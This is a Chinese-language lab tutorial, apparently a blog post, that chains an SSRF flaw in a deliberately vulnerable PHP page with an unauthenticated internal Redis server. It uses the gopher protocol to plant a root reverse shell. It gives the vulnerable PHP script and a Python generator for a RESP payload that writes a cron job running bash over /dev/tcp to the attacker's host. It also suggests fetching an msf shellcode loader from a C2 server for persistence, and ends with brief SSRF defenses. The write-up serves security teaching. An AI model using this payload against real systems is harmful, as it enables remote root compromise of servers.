当一个公网web服务存在ssrf漏洞,且内网里有存在未授权访问的redis服务器时,攻击者可以利用公网web服务的ssrf,通过gopher协议,向内网redis服务器写反弹shell。
1.实验准备
同一网络内,准备三台linux,
主机A(192.168.248.138)和主机B(192.168.248.148)是攻击目标,主机C(192.168.248.149)是攻击者。主机B配置firewalld白名单,确保只有主机A能与其通信,模拟内网环境。
A部署xampp模拟公网web服务器,B使用root用户开启redis服务端。
主机B配置firewalld
firewall-cmd --zone=public --add-rich-rule='rule family=ipv4 source address=192.168.248.138 accept'
查看配置结果:
firewalld-cmd --list-all
主机B配置redis服务器
配置/usr/local/redis-6.2.7/redis.conf
设置密码为123456
requirepass 123456
将远程连接设置为任意ip
注释bind
或bind主机A的ip
关闭保护模式
protected-mode no
主机A启动xampp,并将下述脚本放到根目录,模拟存在ssrf漏洞的web页面
<?php
$url = $_POST['url'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_exec($ch);
curl_close($ch);
?>
/opt/lampp/xampp start
主机B启动redis-server
/usr/local/redis-6.2.7/redis-server redis.conf
主机A启动redis-cli测试与主机B的连接
[root@centos2 ~]# redis-cli -h 192.168.248.148
192.168.248.148:6379> ping
(error) NOAUTH Authentication required.
192.168.248.148:6379> auth 123456
OK
192.168.248.148:6379> ping
PONG
192.168.248.148:6379>
测试firewalld是否生效,使用主机C的redis客户端连接主机B,无法连接,则说明firewalld配置成功
2.ssrf确认
访问主机A的ssrf页面
192.168.248.138/ssrf.php
确认漏洞存在
3.用python生成redis协议resp的payload
# -*-coding:utf-8-*-
# @脚本说明:模拟gopher协议发送redis指令
import urllib.parse
# 将指令列表中的每一条指令取出来,且将指令中的每个词
def cmd_to_wordlist(cmd: str, part: int) -> list[str]:
wordlist = cmd.split(" ", part-1)
return wordlist
# 将指令中的每个词组合成resp的payload格式
def push_word_to_payload(payload: str, wordlist: list[str]) -> str:
paylaod = payload + "*" + str(len(wordlist)) + r"\r\n"
for word in wordlist:
paylaod = paylaod + "$" + str(len(word)) + r"\r\n" + word + r"\r\n"
return paylaod
# 指令列表
cmdlist = ['auth 123456',
'flushdb',
'config set dir /var/spool/cron',
'config set dbfilename root',
'set myshell "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.248.149/7890 0>&1\n\n"',
'save',
'quit']
payload = ""
# 定义gopher协议的ip和端口
p_payload = "gopher%3A//192.168.248.148%3A6379/_"
# 拼接paylaod
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[0],2))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[1],1))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[2],4))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[3],4))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[4],3))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[5],1))
payload = push_word_to_payload(payload, cmd_to_wordlist(cmdlist[6],1))
# 将payload进行url编码处理
payload = urllib.parse.quote(payload)
payload = payload.replace("%","%25").replace("5Cr","0D").replace("5Cn","0A")
payload = p_payload + payload
print(payload)
将paylaod通过ssrf和gopher协议发送到redis服务器,向内网redis服务器计划任务写入反弹shell
可以看到成功写入,当然攻击者是不知道是否真的写入的
攻击者成功获得反弹shell,且是root权限,确认写入成功
提示此shell中无任务控制,那么一些命令是用不了的,如ip addr等
此时需要修改环境变量
export PATH=$PATH:/usr/sbin
如果要永久使用,可以修改/etc/profile
4.权限维持
可以在c2服务器上准备msf生成shellcode加载器,在计划任务反弹shell中,远程下载shellcode加载器,实现更稳定的连接和后续的入侵。
5.防护
对于ssrf的防护:
验证web应用对内网的请求,在返回结果展示给用户之前先验证返回的信息是否合法。
统一错误响应,防止用户通过错误响应信息来判断远端服务器的端口状态
限制请求的端口号
内网内部配置ip白名单
禁用file://,gopher://,dict://,ftp://等不必要的协议
对于redis的防护,可以看我另一篇文章的总结
https://www.freebuf.com/vuls/351116.html